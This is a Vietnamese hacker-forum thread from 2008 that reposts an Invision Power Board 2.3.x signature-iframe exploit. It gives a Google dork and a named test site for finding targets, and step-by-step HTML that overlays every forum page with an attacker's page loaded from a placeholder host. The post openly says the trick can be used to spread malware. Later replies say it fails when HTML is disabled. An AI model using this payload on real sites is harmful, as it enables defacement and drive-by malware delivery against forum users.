banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Forum Index Thông tin new bugs và exploits Invision Power Board (=2.3.x)  XML
  [Announcement]   Invision Power Board (=2.3.x) 02/07/2008 01:09:12 (+0700) | #1 | 139281
LeeShin
Member

[Minus]    0    [Plus]
Joined: 20/06/2008 11:04:25
Messages: 3
Offline
[Profile] [PM]
Code:
Tested On: http://www.abarjigs.com/forum/

Effected on:Invision Power Board <=2.3.x

Type:Signature With iFrame

Discovered By:CYBER.DARK.HIMU (SHAHEE_MIRZA)

Google: "style designed by Soi" or "Powered by IP.Board 2.3.1"

Mail: cyber.dark.himu (at) gmail (dot) com [email concealed],shaheemirza (at) gmail (dot) com [email concealed]

#######################################################

HI TO ALL.

HOW TO USE THIS VULN?

ANSWERE IS BELOW>>>>>>>

1.REG WITH VICTIM FORUM

2.GO TO USER CONTROL PANEL

3.EDIT YOUR SIGNATURE ByTHIS CODE

Code: Select all

<html>

<head>

<title>HACKED BY YOUR-NAME</title>

</head>

<body>

<div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0">

<iframe name="iFrame1" width=1024 height=3186 src="http://YOUR-SITE/YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe>

</div>

</body>

</html>

4.AFTER THAT U WILL SEE ALL THE PAGE IS COVERED BY YOUR PAGE

5.GO ANY TOPIC AND POST ANYTHING.

6.AFTER THAT SEE "THE BOOM"

##########################################################

######U CAN USE IT FOR SPREADING MALWARE#################


Cái này có ai gửi chưa nhỉ smilie. Nếu có rồi mod xóa dùm mình nhá smilie
[Up] [Print Copy]
  [Question]   Re: Invision Power Board (=2.3.x) 02/07/2008 01:13:34 (+0700) | #2 | 139282
LeeShin
Member

[Minus]    0    [Plus]
Joined: 20/06/2008 11:04:25
Messages: 3
Offline
[Profile] [PM]
Giải thích thêm tí :

1. Vào forum, đăng kí một tài khoản
2. Sửa lại chữ kí của bạn bằng đoạn code sau
Code:
<html>

<head>

<title>HACKED BY YOUR-NAME</title>

</head>

<body>

<div id="iFrame1" style="position:absolute; left:0px; top:0px; z-index:0">

<iframe name="iFrame1" width=1024 height=3186 src="http://YOUR-SITE/YOUR-PATH/YOUR.html" scrolling="no" frameborder="0"></iframe>

</div>

</body>

</html>

3.Vào 1 topic nào đó post đại 1 bài

.......
Thế thôi smilie
[Up] [Print Copy]
  [Question]   Re: Invision Power Board (=2.3.x) 03/07/2008 05:24:09 (+0700) | #3 | 139608
[Avatar]
vnkimlong
Member

[Minus]    0    [Plus]
Joined: 30/08/2007 13:53:14
Messages: 67
Offline
[Profile] [PM]
Có được đâu, nó hiển thị cả đoạn code đó luôn

[Up] [Print Copy]
  [Question]   Re: Invision Power Board (=2.3.x) 03/07/2008 11:21:19 (+0700) | #4 | 139646
[Avatar]
chupichu
Elite Member

[Minus]    0    [Plus]
Joined: 16/07/2004 14:17:57
Messages: 229
Location: Lầu Xanh
Offline
[Profile] [PM] [Yahoo!]
Có phải forum nào nó cũng active HTML cho thành viên đâu bác ?
Where Have You Gone..
[Up] [Print Copy]
  [Question]   Re: Invision Power Board (=2.3.x) 03/07/2008 11:59:15 (+0700) | #5 | 139654
[Avatar]
rong_tuech
Locked

[Minus]    0    [Plus]
Joined: 01/01/2007 10:39:36
Messages: 128
Location: C15
Offline
[Profile] [PM] [Yahoo!]
Kể cả nó bật HTML cho member thì cũng không work smiliesmilie mình thử trên mấy cái 4r cho chạy <marquee> tè le có được đâu smilie
[Up] [Print Copy]
  [Question]   Re: Invision Power Board (=2.3.x) 08/07/2008 00:12:32 (+0700) | #6 | 140311
LeeShin
Member

[Minus]    0    [Plus]
Joined: 20/06/2008 11:04:25
Messages: 3
Offline
[Profile] [PM]
Cái này hình như dành cho phiên bản 2.3.x trở xuống mà tên tiêu đề ko cho hiển thị cái cái dấu "<" nên đành để vậy smilie
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
1 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|